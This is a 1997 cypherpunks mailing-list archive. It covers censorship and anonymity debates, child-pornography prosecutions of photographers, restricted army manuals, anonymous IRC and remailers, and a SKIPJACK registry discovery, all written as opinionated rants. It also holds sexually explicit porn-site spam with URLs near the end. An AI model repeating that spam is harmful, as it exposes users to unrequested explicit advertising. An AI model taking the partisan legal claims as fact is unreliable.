*   Mr. Ruhnke further complained that the judge revealed Mr. Feuer's name
*   in court papers while he was still making motions to dismiss the case,
*   to protect the girl.
 
Parents charged with child pornography for taking photos of their children.
 
Thought Police.

-------------------- End Cryptography Manifesto excerpt --------------------


Even respected photographers are hassled.


-------------------- Begin Cryptography Manifesto excerpt --------------------

We netizens are rightfully paranoid of the
American government, because it has no scruples.

What the FBI did to photographer Jock Sturges was criminal.


Excerpt from 'TO: A Journal of Poetry, Prose + the Visual Arts', Summer 1992:

* Hounded by the Federal Bureau of Investigation in a bizarre witch-hunt
* at an expense to the taxpayers of over a million dollars, Sturges had
* survived an attempt to destroy his life and his work and was now
* countersuing the agency.
* 
* Recapitulated briefly, Sturges, who's based in San Francisco, has for
* years been photographing young people whose families practice nudity.
* 
* He's done so with his subjects' permission, as well as that of their
* parents, who often appear in the photographs along with their offspring.
* Rejecting the use of standard model releases, with their blanket
* permissions, the photographer chooses instead to request approval
* from his subjects for each and every exhibition and publication
* of each and every image --- an exemplary scrupulousness.
* 
* Then, in 1990, alerted to the "questionable" content of some of his
* images by a local processing lab, the FBI arrested Joe Semien, Sturge's
* assistant, invaded the photographer's San Francisco studio without a
* warrant, and seized all his prints, negatives, records, and equipment;
* thereafter, without arresting Sturges, or even charging him with
* anything, they refused to return his property and did everything
* possible to destroy him personally and professionally by branding
* him a child pornographer

On September 15, 1991, The New York Times  reported that the Feds took the
case to a grand jury after 17 months, and they immediately threw it out.

And that "this was unusual because only the prosecution's evidence is
presented to a grand jury and they generally return indictments at
the Government's request".

Excerpt from 'TO: A Journal of Poetry, Prose + the Visual Arts', Summer 1992:

* Jock Sturges:
* 
* It took another month to get the U.S. Attorney to admit they had
* finished the investigation and that the case was closed.
* 
* Before they were through they had interviewed forty-four families in
* France to whom they lied outrageously.
* 
* It seems the Feds were unable to get the French interested because
* the French Police thought the photographs were just lovely. So the
* French were given the impression by the U.S. government that I had
* been convicted of incest in the United States and that I was a
* dangerous individual.
* 
* And based on this assumption, the French Police conducted their own
* interviews, but my friends happily knew me well enough. When they
* found out they had been misled, the French Police called everybody
* back and apologized.
* 
* Nevertheless, an enormous amount of effort was put out in France to
* go and talk to all these people and a similar thing was done in
* Germany. This was not all free. It was hideously expensive. And the
* repercussions --- I don't know what they are yet. I haven't talked
* to all the families.
* 
* In the end, everything I received back was essentially destroyed.
* 
* My computer was broken.
* 
* All my prints were badly damaged.
* 
* Some of them had been wadded up and thrown away and then taken out
* of the waste basket and flattened out again.

It cost Sturges $100,000 in legal fees, loss of major clients, much income,
seizure of his life's work, the tools of his trade, and made him feel
depressed about his life's work.


Our government uses Orwellian terror tactics
to control the politically incorrect:

    Jock Sturges:

    At my lowest point in this affair, I almost decided to jump
    from the San Francisco bridge. I had stopped my car.


-------------------- End Cryptography Manifesto excerpt --------------------


Where have I heard that "Human Dignity" stuff before?

Oh yeah: Congress passed a law (overturned by the US Supreme Court) called
something like "Decency and Honor in the Military", which outlawed selling
Playboy and Penthouse magazines from military base stores.

And...

In comp.org.eff.talk Dave Bird  wrote:
: The European Commission today adopted a proposal for an Action Plan on
: promoting safe use of the Internet.  [snip]
 
: The Action Plan is closely linked with the Commission Communication and
: proposal for a Recommendation of 18 November 1997, which outlines
: political measures on protection of minors and human dignity in the
: audiovisual services (http://europa.eu.int/en/comm/dg10/avpolicy/new_srv
: /comlv-en.htm).

#   telematics crimes
 
Ooooh, new terminology for Internet crimes.
Your are a telematic criminal.
Must have laws to control telematic criminals.
Porno bad.
Nudity bad.
Pretrial publicity bad. (Illegal in England & Canada? Not the USA!)
Copyright violations bad.
Bad bad bad.

 
http://www2.echo.lu/legal/en/internet/wp2en-chap.html#2A
 
#   4. FINLAND
#
#   d. Other initiatives
#
#   27. The report holds the view that anonymous use of the Internet should
#       be allowed, however, traceability of persons using the Internet
#       should be ensured.
 
Oh, great, the Usenet II definition of "anonymous".
 
Anonymity will be under direct attack next.

Next thing you know, Chris Lewis will be recommending to the NNTP
standards people that each and every user should be identified
via a "Sender:" line.

#   From owner-ietf-nntp at academ.com Fri Dec 19 18:43:15 1997
#   Cc: ietf-nntp at academ.com
#   From: "Chris Lewis" 
#   Subject: re:ietf-nntp Minutes from the WG
#   
#      Once authenticated, the server SHOULD generate a Sender: line
#      using the email address provided by the authenticator if it
#      does not match the user-supplied From: line.

Yep.

Chris says he merely wants it for "statistics".

Chris Lewis has declared I am on his content-based NoCeM list.
I apparently profess views he doesn't appreciate, so I am labeled
as "bad" so I can be "filtered".

People couldn't possible choose to killfile me on their own.

It's just a "global killfile" said someone.

Same goes for the whole PICSRules deal...completely unnecessary.

PICSRules wants to "objectively" label content.

A Senator Feinstein here in the USA keeps introducing a
bill to outlaw "bombmaking information on the Internet".

*   C-SPAN Television, Wednesday June 5th, 1997
*
*   Andrew Grove, Chairman & CEO of Intel Corporation, is asked whether
*   bomb-making information should be censored from the Internet.
*
*   "No. The same information is available in libraries, and we don't
*   censor libraries, nor should we. When I was thirteen I built a
*   nitroglycerin bomb. It was an incredibly stupid thing to do,
*   and I knew someone who had their hand blown off, but I am
*   adamantly against censoring such material."
*
*   "And unlike a library, a parent can buy a program that uses keyword
*   monitoring to disallow Internet traffic per the parents' wishes.
*   Such a program is available now, and costs only $29."

Mr. Grove was just awarded Time magazine's "Man of the Year".

So, one day there's material labeled "adult/bomb info", and the
next day: it's illegal in the USA.

Only way to do it: require PICSRules filtering at the ISP level.

Nothing else scales.

:  Demon Internet:
:  "The aim of this new system is to help streamline the process of
:  finding duplicated illegal material on the Internet and reduce the
:  number of abusers of the Internet...

Filtering software will reduce "the number of abusers"???

#   http://www.gilc.org/speech/ratings/gilc-pics-submission.html
#   
#   PICSRules 1.1 go far beyond the original objective of PICS to
#   empower Internet users to control what they and those under their
#   care access. They further facilitate the implementation of
#   server/ proxy-based filtering thus providing a more simplified
#   means of enabling upstream censorship, beyond the control of the
#   end user. 

You aren't fooling anyone, Clive.

Except maybe yourself.


----


And what was that about getting rid of anonymity, by - at the least -
guaranteeing traceability even through anonymous remailers?

Brad Templeton, EFF director, has a few ideas of his own:

   "no fake addresses is one of my non-negotiable
    requirements...eventual Usenet will require
    digital signatures"  --- Brad Templeton


Funny, how MLM companies (yes, ISP accounts are an MLM-able product)
including Brad's Clarinet company would like to get rid of short-term
ISP accounts too.

Brad states he wants commitment and accountability.

This EFF director wants all email and Usenet posts signed
by your digital signature, a massive control-freak change
in the status quo.

This twists some of the very technology netizens hoped
would protect us to being used against us.

*** Brad is emphatically for digital signature authentication, #1:
 
#   I am not talking about law.  I am talking about practice.
#   You want to mail me, you put a digital sig on your mail.
#   You want to send a posting into my news server,
#   you put a digital sig on it.
 
 
*** Brad is emphatically for digital signature authentication, #2:
 
Brad Templeton emailed:
*   Information Security emailed:
 
*   > Nor does your digital signature idea do anything to prevent
*   > throw-away accounts from doing major spams; you'll have to
*   > put even MORE controls on people.
*
*   Correct, no throw away accounts.  It's coming.
*
*   > The digital signature idea is an astonishingly bad idea, that
*   > only frustrated control-freaks will accept.
*
*   You are mistaken.  I surveyed a roomful of usenet admins at a
*   conference last year.  They were 95% in favor of it.

[I replied that those were the control-freaks I was talking about]
 
 
*** Brad is emphatically for digital signature authentication, #3:
 
Brad Templeton emailed, formatted by guy:
 
>   As far as I am concerned, no fake addresses is one of my non-negotiable
>   requirements, because
>
>      the eventual USENET is going to have digital signature requirements.
>
>   It's the only way to stop [people from] posting under fake addresses
>   where we can't find them, and that means stopping honest users from
>   doing it too.
 
 
*** Brad is emphatically for digital signature authentication, #4:
 
    http://www.clari.net/brad/spam.html [snipped]
 
    Solutions...
 
    First, improve internet mail systems and protocols to
    identify mail with a fake or forged return address.
 
    There are some simple steps to do this, and
    eventually digital signature allows complete
    verification of the sender.

    http://polka.clari.net/usenet-format/cert.html
 
    Q: What about anonymous remailers?
 
    A: A person with an anonymous address that sends mail back will
    probably be able to get a certificate. They can post without revealing
    their name, except perhaps to the person who gives them a certificate.
    Digital signature works fine to prove the same person sent two messages
    without saying at all who that person is in the real world.
 
Forced to authenticate they are the same
person, even through the anonymous remailer.
 
A certificate by another person needed.
 
I call that traceable.

No comment by the EFF.


----


PICSRules is just the first step in putting the entire Net under
government control.

See how important it is to Brad that ~"people can be found"?

Everyone with power becomes a control freak, apparently.


----


Clive Feather wrote:

:   Modern special effects are quite capable of producing such films
:   without requiring a real murder. Consider a wide range of recent
:   cinema releases.

No good enough for our rulers, Clive.

Video & drawings suddenly considered illegal here in the USA...
No new law was passed...

-------------------- Begin Cryptography Manifesto excerpt --------------------

The law refers to "lascivious exhibition of the genitals or pubic area".
 
The FBI takes that to mean naked. Obviously.
 
A poorly written bill, interpreted by predatory pinheads.
 
Guess what?
 
1/18/95 NYT: In a case that did not involve nudity or genital visibility,
Attorney General Janet Reno filed a brief with the Supreme Court that
said it was not necessary for a child pornography conviction. That is
how she interprets the language of the bill.
 
Wow.
 
And I thought Ed Meese was a bad Attorney General. Meese had written
to companies like the owners of 7-11 and told them selling Playboy and
Penthouse could get them Federal obscenity charges. That was his attempt
to get around the First Amendment.
 
10/3/96 NYT: Because of computers, a bill was passed that changes the
definition of child pornography to include generated images that do
not involve actual children.
 
Thought crime. Law enforcement child pornography hysteria.
 
Sturges incident: attacked by the FBI Thought Police Squad. Massive corrupt
use of governmental law enforcement authority to enforce mere political
correctness. Due to its size: by definition not an aberration.
 
It cost one million dollars of our tax money.


-------------------- End Cryptography Manifesto excerpt --------------------


That's right: the laws can be re-interpreted at any time by the police.

In the above mentioned case, Janet Reno's Department of Justice had
first filed a brief with the US Supreme Court AGAINST a child
pornography conviction for the person involved.

During election year politics, over 200 Senators wrote to her and
said they'd make a big campaign issue of it if she didn't change
her mind.

She changed her mind and filed an OPPOSITE brief in the Supreme Court.

Sheesh.

The "law" is a shifting sand...quicksand for those "on the edge"...


   "Protect the children" ---Clive Feather

Oh, how quickly people forget all the manipulation involved
in "protecting children"...

-------------------- Begin Cryptography Manifesto excerpt --------------------

On June 19, 1997, Senate Commerce Committee Chairman John McCain introduced
his own bill (Senator Kerrey co-sponsor) which parrots the Clinton
administration's position and forced it to replace the Pro-Code bill.
 
He banged the Drum of War against Child Pornography.
 
*   http://cgi.pathfinder.com/netly, By Declan McCullagh
*
*   In the end, it was child pornography that derailed encryption legislation
*   in the U.S. Senate and dealt a bitter defeat to crypto supporters.
*
*   Sen. John McCain (R-Ariz.), committee chair and chief sponsor of the
*   measure, led the attack, saying Congress must "stop child pornography
*   on the Internet."
*
*   He warned that "allowing encryption to be exported would permit child
*   pornographers to use it."
*
*   "If it's being used for child pornography? Are we going to say
*   that's just fine? That's it's just business? I don't think so."
*
*   Sen. John Ashcroft (R-MO) tried to disagree. "It's like photography. We're
*   not going to [ban] photography if someone takes dirty pictures."
*
*   At this point, one of the more deaf committee members asked,
*   "Pornography? Are we going to ban pornography?"
*
*   The Senate Commerce Committee then approved McCain's bill.
*
*   For a committee whose bailiwick is commerce, the senators seemed somewhat
*   detached from their mandate with business taking a backseat.
*
 
Thank you once again, oh Free World Leaders, for that intelligent discourse.
 
 
*   The New York Times, June 15 1997
*
*   "Washington Kidnaps Dick and Jane - See How Washington Uses Dick and Jane"
*
*   These days much of the nation's political debate focuses on children - or
*   on the needs and interests of children as defined by politicians.
*
*   Mr. Horn, who was chief of the Childrens Bureau in the Bush Administration
*   added, "A cynic would say that children are being used as props or proxies."
 
Color me cynical.

 
*   "WHITE HOUSE IS SET TO EASE ITS STANCE ON INTERNET SMUT"
*   The New York Times, By John M. Broder, June 16 1997
*
*   Administration officials, in a draft report dated June 4 1997, have been
*   quietly fashioning a new communications policy that leaves most regulation
*   of the Internet to industry and people themselves, due to an expected
*   repudiation of the Communications Decency Act by the Supreme Court.
*
*   Reno's people, [beating the Drum of War] told the Supreme Court "the
*   Internet was a revolutionary threat to children rendering irrelevant all
*   prior efforts" to protect them from pornography.
*
*   "We all knew at the time it was passed that the Communications Decency Act
*   WAS UNCONSTITUTIONAL," said an anonymous senior government official [yea
*   anonymity!].
*
*   "This was purely politics."
*
*   "How could you be against a bill limiting
*   the display of pornography to children?"

-------------------- End Cryptography Manifesto excerpt --------------------


Ah, yes, how could anyone be against a mega world-wide organization
for labeling all WWW and Usenet so it can be reported to the police
when the law is reinterpreted for the moment's politically incorrect
information?

Er, I mean, for protecting children?


----


Anyone wishing a copy of the 'Cryptography Manifesto', email guy
@panix.com using subject line 'Requesting Cryptography Manifesto'.

It's 519K (about 75 double-sided pages).

It documents world-wide spying by the US National Security Agency.

Merry Christmas kudos to cypherpunk John Gilmore for
putting himself at risk by publishing RSAREF source
code on the Net recently.  http://www.toad.com/~dnssec

He is directly taking on the US National Security Agency.

Fred Salchli  wrote:
 
:   I heard a brief report on BBC World News last evening that an internal
:   report has been issued by European Union criticizing the NSA for
:   bugging ALL of their communications. (Yes, ALL was the word used in the
:   report!). The BBC mentioned that all communications were being filtered
:   (voice and data) for key words and phrases, and the EU had some compelling
:   evidence to support this. Interesting to see what, if anything comes of
:   this.

Awww, the EU is upset the NSA is spying on it...
---guy

   Just don't say anything illegal, what's the problem? ;-)






From anon at squirrel.owl.de  Thu Dec 25 10:58:51 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Fri, 26 Dec 1997 02:58:51 +0800
Subject: Best Cypherpunk War Text
Message-ID: 



>> Army Manuals
>>
>>go to field manuals
>>
>>you can find all you want and more
>>
>>igor
>
>They've restricted it and want full names, addresses, military unit, SSNs,
>phone numbers, etc. Anyone have a mirror of it somewhere?

Baaaaaaaah humbug. Let me rephrase that:

They've restricted some of them and want full names, addresses, military
unit, SSNs, phone numbers, etc. Does anybody have a mirror of *those*
specific documents somewhere?






From nobody at bureau42.ml.org  Thu Dec 25 13:28:40 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Fri, 26 Dec 1997 05:28:40 +0800
Subject: Digital Revolutionaries
Message-ID: 



On Wed, 24 Dec 1997 at 21:47:09 +0100 (MET) TruthKidMonger wrote:

"If this is the revolution, why are the drink prices so high?"
~       Patron at New York City guerilla bar

"'Cause There Ain't No Such Thing As A Free Revolution, kid."
~       Patron's host and tour guide, coiner of TANSTAAFR






From nobody at REPLAY.COM  Thu Dec 25 13:50:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 26 Dec 1997 05:50:20 +0800
Subject: Best Cypherpunk War Text
Message-ID: <199712252135.WAA06881@basement.replay.com>



> Army Manuals
>
>go to field manuals
>
>you can find all you want and more
>
>igor

They've restricted it and want full names, addresses, military unit, SSNs,
phone numbers, etc. Anyone have a mirror of it somewhere?






From anon at squirrel.owl.de  Thu Dec 25 14:59:16 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Fri, 26 Dec 1997 06:59:16 +0800
Subject: Cypherpunks IRC Christmas Eve Party
Message-ID: 



>If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
>others will be around to chat.

I suggest we schedule another one for New Year's Day. New Year's Eve is when
everybody parties and gets drunk. 

Also, is there any way to IRC anonymously? The situation is complicated by
the fact that IRC, like any real-time communications system, requires
real-time stream connections which are traceable back to their sources.
CROWDS isn't advanced enough or designed to hide arbitrary TCP/IP traffic,
though it could have been.






From adam at homeport.org  Thu Dec 25 14:59:26 1997
From: adam at homeport.org (Adam Shostack)
Date: Fri, 26 Dec 1997 06:59:26 +0800
Subject: Best Cypherpunk War Text
In-Reply-To: <199712252135.WAA06881@basement.replay.com>
Message-ID: <199712252252.RAA05502@homeport.org>



Anonymous wrote:
| > Army Manuals
| >
| >go to field manuals
| >
| >you can find all you want and more
| >
| >igor
| 
| They've restricted it and want full names, addresses, military unit, SSNs,
| phone numbers, etc. Anyone have a mirror of it somewhere?

	Glen Roberts has copied all sorts of useful information like
this from the Congressional Record.  Combine with 411, dejanews and
other search engines.

	Uncle Sam wants you to take advantage of his privacy
practices.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From ichudov at Algebra.COM  Thu Dec 25 15:34:42 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 26 Dec 1997 07:34:42 +0800
Subject: Best Cypherpunk War Text
In-Reply-To: 
Message-ID: <199712252326.RAA08704@manifold.algebra.com>



Secret Squirrel wrote:
> >> Army Manuals
> >>
> >>go to field manuals
> >>
> >>you can find all you want and more
> >>
> >>igor
> >
> >They've restricted it and want full names, addresses, military unit, SSNs,
> >phone numbers, etc. Anyone have a mirror of it somewhere?

Well, the documents that the original poster requested -- survival, MOUT
(military ops on urbanized terrain), and much more -- are not restricted.
Some make great reading and are, to my big surprise, very well written.

The manual that I recommend to cypherpunks is FM 21-20, Physical
Fitness.

According to my spot check, most of the restricted manuals are not
actually of interest to most readers. They probably want to keep the
Russian spies out of knowing some gory technical details. The stuff
that is more exciting, like FM 5-250, Explosives and Demolitions, can
be found elsewhere.

> Baaaaaaaah humbug. Let me rephrase that:
> 
> They've restricted some of them and want full names, addresses, military
> unit, SSNs, phone numbers, etc. Does anybody have a mirror of *those*
> specific documents somewhere?
> 

They may be sold on CD-ROMs. Look at misc.survivalism for more details,
they sell them for $24 but I am not sure what's on them.

	- Igor.






From nobody at bureau42.ml.org  Thu Dec 25 23:16:23 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Fri, 26 Dec 1997 15:16:23 +0800
Subject: Chodorov (was Freedom Forum)
Message-ID: 



On Sun, 21 Dec 1997 23:19:36 -0500 Duncan Frissell wrote:

> I sort of like Tim's reasoning.
> 
> It's reminiscent of Frank Chordorov's remarks back 
> during the McCarthy Era.  "If you're worried about 
> Communists in government jobs; get rid of the 
> government jobs."

Required reading for revolutionaries of the digital era,
from a very bright light of the 1950's and one who
did much to shape the movement that became libertarianism.
Following are two excerpts, the first from commentary on
a current Web page, the second from Chodorov's 1954 book.

"The Sixteenth Amendment passed because the country thought 
only the rich would pay. In 1910 William Shelton, a 
Georgian, wrote that Southerners favored ratification 
'because none of us here have $4,000 incomes, and somebody 
else will have to pay the tax.' This view proved 
shortsighted. As Frank Chodorov noted in The Income Tax: 
Root of All Evil: 'At first it was the incomes of 
corporations, then of rich citizens, then of well-provided
widows and opulent workers, and finally the wealth of 
housemaids and the tips of waitresses. This is all in line 
with the ability-to-pay doctrine. The poor, simply because 
there are more of them, have more ability to pay than the 
rich.'"

    - www.elibrary.compuserve.com/qotd/10087/fetch/philk_04.htm

"Author's Introduction:  Argument

"Tradition has a way of hanging on even after it is, for 
all practical purposes, dead. We in this country still use 
individualistic terms -- as, for instance, the rights of 
man -- when, as a matter of fact, we think and behave in 
the framework of collectivistic doctrine. We support and 
advocate such practices as farm-support prices, social 
security, government housing, socialized medicine, 
conscription, and all sorts of ideas that stem from the
thesis that man has no rights except those given him by
government.

"Despite this growing tendency to look to political power
as the source of material betterment and as the guide to
our personal destinies, we still talk of limited government,
states' rights, checks and balances, and of the personal
virtues of thrift, industry, and initiative. Thanks to our
literature, the tradition hangs on even though it has lost
force.

"But there are many Americans to whom the new trend is
distasteful, partly because they are traditionalists, partly
because they find it personally unpleasant, partly because
reason tells that it must lead to the complete subjugation
of the individual, as in Nazi Germany or Communits Russia,
and they don't like the prospect. It is for these Americans
that this book is written. They are the "elite" -- the
questing spirits who in all times effect revolutionary
changes. For a revolution now is certainly in order. And
by "revolution" I mean the return to the people of that
sovereignty which our tradition assumes them to have. I mean
the return to them of the power which government has 
confiscated by way of the Sixteenth Amendment.

"When you examine any species of government intervention
you find that it is made possible by revenues. A government
is as strong as its income. Contrariwise, the independence
of the people is in direct proportion to the amount of 
their wealth that they can enjoy. We cannot restore 
traditional American freedom unless we limit the 
government's power to tax. No tinkering with this, or that, 
or the other law will stop the trend toward socialism. We 
must repeal the Sixteenth Amendment."

    - F. C.

"XII. For Freedom's Sake [excerpted]

"Whether there are any mystic forces pushing men along a 
path from which there is no escape, is a moot question.
But there is no questioning the fact that throughout
history men have regularly made excursions in quest of
freedom, and that every one of these excursions was
identified by its leadership. It is a logical inference
therefore that when men of that stripe appear on the
scene the cause of freedom is not neglected. Perhaps,
after all, the present plight of freedom in America is
due to lack of leadership.

"If, for instance, those who prate about 'free enterprise'
were willing to risk bankruptcy for it, even as the men of
the Declaration risked their necks for independence, the
present drive for the collectivization of capital would
not have such easy going. Assuming that they are fully
aware of the implications of the phrase they mouth, and
are sincere in the protestations, the fact that they are
unwilling to suffer mortification of the flesh disqualifies
them for leadership, and the case for 'free enterprise' is
hopeless.

"The present low estate of freedom in this country must be
laid to lack of the proper leadership -- to men who know
that freedom is and who do not equate it with their own
'standard of living.' Whether or not leadership could have
averted, or can still stop, the trend toward socialism,
may be open to question; that a glorious fight for freedom
might yet enliven the American scene is not. Whether a
fight for freedom will be crowned with success, is less
important than the fight itself, for if nothing comes of
it, the improvement in the spirit of the fighters will be
a gain, and they cannot help but keep alive the values
that will make America a better climate for their offspring
to live in.

"There is no accounting for the emergence of these superior
men, these "sports of nature," who sporadically shape the
course of mankind. They come, as it were, from nowhere, and
nobody has yet conclusively explained their advent. But,
they come. When in her own time and her own pleasure Nature
deems America ready for and worthy of them, she will give
us the men who will make the good fight. It seems reasonable
to assume that their first objective will be -- Repeal of
the Sixteenth Amendment."

_the_income_tax_ (subtitled _root_of_all_evil_)
by Frank Chodorov, foreword by J Bracken Lee
Copyright 1954 by Frank Chodorov
The Devin-Adair Company, Old Greenwich CT 06870
Second printing Feb 1963
Third printing Jun 1974
(no ISBN)

Although I don't know, I think it likely this precious 
little book is out of print.

We Jurgar Din






From jkthomson at bigfoot.com  Fri Dec 26 00:57:14 1997
From: jkthomson at bigfoot.com (jkthomson)
Date: Fri, 26 Dec 1997 16:57:14 +0800
Subject: actual, on-topic post (tm)
Message-ID: <3.0.3.32.19971226005032.007517d4@dowco.com>




does a large number of 'bounces' between randomly selected remailers
increase security/untraceability?  what if you made each message go through
ALL remailers, or nearly all?

be gentle...  I'm just a lurker.




--------------------------------------------------------
james keith thomson    ICQ:746241
PGP 263i keysig: 85C6 F156 5F8E 1457 F613 AA3A 5E69 E873
public keys availible at 
--------------------------------------------------------

The Whispered Rule:
  People will believe anything if you whisper it.

========================================================







From bill.stewart at pobox.com  Fri Dec 26 01:30:06 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 26 Dec 1997 17:30:06 +0800
Subject: Cypherpunks IRC Christmas Eve Party
In-Reply-To: 
Message-ID: <3.0.3.32.19971226012406.00755c6c@popd.ix.netcom.com>



At 09:23 PM 12/25/1997 -0000, Secret Squirrel wrote:
>>If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
>>others will be around to chat.
>I suggest we schedule another one for New Year's Day. 
>New Year's Eve is when everybody parties and gets drunk. 

Great - cypherpunks are grouchy enough when they're not hung over :-)
(Actually, caffeine appears to be the drug of choice for many of us,
plus miscellaneous amino acids and other strange entropy-fighters...
but it was hard to pass up a straight line.)

>Also, is there any way to IRC anonymously? The situation is complicated by
>the fact that IRC, like any real-time communications system, requires
>real-time stream connections which are traceable back to their sources.
>CROWDS isn't advanced enough or designed to hide arbitrary TCP/IP traffic,
>though it could have been.

Pipenet would be the right choice, if we had one, or DC-nets.
I don't know if the Onion Router stuff is still web-only or if it's
also supporting telnet applications.  Alternatively, someone could
build an IRC laundry without much difficulty, but you'd have to trust
the administrators.  

IPSEC provides privacy for communications,
but doesn't protect the connection information very well,
though IPSEC between firewalls is at least a partial mix.
Once IPSEC is widely deployed, it may be interesting to 
piggyback a pipenet-like system on top of it, basically a
bogus-traffic generator that's keeps packet levels fairly constant.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From nobody at REPLAY.COM  Fri Dec 26 01:56:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 26 Dec 1997 17:56:53 +0800
Subject: Size Doesn't Matter
Message-ID: <199712260945.KAA20021@basement.replay.com>



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"
                      ----






From nobody at REPLAY.COM  Fri Dec 26 01:58:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 26 Dec 1997 17:58:20 +0800
Subject: Little Things Mean A Lot
Message-ID: <199712260947.KAA20195@basement.replay.com>



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"
                      ----






From zewioca at delphi.com  Fri Dec 26 23:36:20 1997
From: zewioca at delphi.com (zewioca at delphi.com)
Date: Fri, 26 Dec 1997 23:36:20 -0800 (PST)
Subject: wiggie woo for free
Message-ID: <199712263175KAA16001@smtp<449090451>


            If you want it, come and take it.
   Don't settle with the others, do it with the best.


       It doesn't get more real than this gentlemen. We are 
       very LIVE.  Hot blooded and impatient for some real 
                  action - are you up to the job?

                              Let's Play!  

                      http://www.hotlovin.com

     (Chat with us in our free direct room even before 
   downloading. We can answer any questions that you 
           have or just get better acquainted! )
�





From sunder at brainlink.com  Fri Dec 26 08:49:57 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 27 Dec 1997 00:49:57 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: 

Now this is interesting! :)  (Either that or JA is smoking crack... - no
idea on JA's reputation capital though...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Wed, 24 Dec 1997 01:29:07 -0600
From: "J.A. Terranson" 
To: 'NT Security Listserv' 
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)

-----BEGIN PGP SIGNED MESSAGE-----

I was rooting around in the registry tonight, (looking to repair my own 
stupidity!),
and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
the
"standard" ciphers (which I also found).

Is anyone else aware of this?  Is it safe to delete the key (and code? 
Hopefully
this is DLL driven: I'm still looking!).

Also, anyone know what it was put there for?  It's certainly not what I would 

consider an SSL issue!

J.A. Terranson
sysadmin at mfn.org
A small fading light in a vast and obscure universe...

PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
                                             0B0E C6C0 ED6B 1289 6749
PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
                                             3081 A202 DDFD 4245
If Government wants us to behave, it should set a better example!


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
=jsvV
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: bin00000.bin
Type: application/octet-stream
Size: 3275 bytes
Desc: "application/ms-tnef"
URL: 

From eureka at eureka.abc-web.com  Sat Dec 27 01:07:03 1997
From: eureka at eureka.abc-web.com (eureka at eureka.abc-web.com)
Date: Sat, 27 Dec 1997 01:07:03 -0800 (PST)
Subject: Eureka! Sat Dec 27 '97
Message-ID: <19971227080944.8013.qmail@eureka.abc-web.com>


Welcome to Saturday's issue of Eureka!

CYBEREROTICA
If you want serious porn, real porn, lots of porn we suggest
you join CyberErotica for a FREE 1 week  introductory offer,
You get some of the best content for a lower price than many
premium adult sites.  There are hundreds of  FREE Stripshows
& Video Channels,  thousands of photos and more! If you just
want to try it out you can sign up for a full week for FREE!
CE ... http://www.cybererotica.com/ad/welcome.cgi/raw_3971/A

THE WEEKEND IS HERE!
Wait, before you go play golf check these out!  Maybe you'll
score a hole in one later? These sites are a sure score now!

NYMPHO 9
Lots of pussy here and all for free.  Clean well built site,
easy to navigate, quick loading. Featuring, anal sex, close-
ups, couples, cumshots, groups, lesbians and more.  Surf it!
Nympho 9 ........................... http://www.nympho9.com/

NUDEVIEW
To enter the website find the  username and password located
just above the "agree" box.  After that your in for a lot of
great dick sucking ladies free pix. Great use of thumbnails.
Nudeview .......................... http://www.nudeview.com/

NO SILICONE ZONE
This site means business! There ain't no fake boobs in here.
What they have are a lot of horny looking women.  Tits, tits
and more tits, just the way you like it.  Not a super speedy
website for loading  images but you'll wanna see the banana.
No Silicone Zone .. http://www.jimsplace.com/jim/nosilicone/

HIP HIP HOORAY! X-RATED PICTURES OF BRANDI
